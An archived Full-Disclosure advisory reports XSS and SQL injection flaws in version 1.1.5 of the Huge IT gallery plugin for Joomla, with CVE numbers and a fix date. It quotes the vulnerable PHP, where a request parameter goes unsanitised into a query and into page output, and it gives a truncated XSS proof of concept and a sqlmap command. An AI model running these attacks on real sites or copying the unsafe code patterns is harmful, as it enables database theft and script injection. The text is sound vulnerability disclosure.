lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 24 Jul 2016 02:08:46 +0000 (GMT)
From: "Larry W. Cashdollar" <>
Subject: [FD] XSS and SQLi in huge IT gallery v1.1.5 for Joomla

Title: XSS and SQLi in huge IT gallery v1.1.5 for Joomla
Fixed: v1.1.7
Author: Larry W. Cashdollar, @_larry0 and Elitza Neytcheva, @ElitzaNeytcheva
Date: 2016-07-14
Download Site:
Vendor Notified: 2016-07-15, fixed 2016-07-23
Vendor Contact:
Description: The plugin allows you to add multiple images to the gallery, create countless galleries, add a description to each of them, as well as make the same things with video links.
The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability:

SQL in code via id parameter:
51 public function getPropertie() {
52 $db = JFactory::getDBO();
53 $id_cat = JRequest::getVar('id');
54 $query = $db->getQuery(true);
55 $query->select(' as name,'
56 . ' ,'
57 . ' as portName,'
58 . 'gallery_id, #__huge_itgallery_images.description as description,image_url,sl_url,sl_type,link_target,#__huge_itg allery_images.ordering,#__huge_itgallery_images.published,published_in_sl_width');
59 $query->from(array('#__huge_itgallery_gallerys' => '#__huge_itgallery_gallerys', '#__huge_itgallery_images' => '#__huge_itg allery_images'));
60 $query->where(' = gallery_id')->where('gallery_id=' . $id_cat);
61 $query->order('ordering desc');
64 $db->setQuery($query);
65 $results = $db->loadObjectList();
66 return $results;
67 }

XSS is here:

root@...mla:/var/www/html# find . -name "*.php" -exec grep -l "echo \$_GET" {} \;
root@...mla:/var/www/html# find . -name "*.php" -exec grep -n "echo \$_GET" {} \;
256: <a class="modal" rel="{handler: 'iframe', size: {x: 800, y: 500}}" href="index.php?option=com_gallery&view=video&tmpl=component&pid=<?php echo $_GET['id']; ?>" title="Image" >
CVE Assignments: CVE-2016-1000113 XSS, CVE-2016-1000114 SQL Injection
JSON: Export
Exploit Code:
XSS PoC;%3C/script%3E


$ sqlmap --load-cookies=cookies.txt -u "*" --dbms mysql
Screen Shots:

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists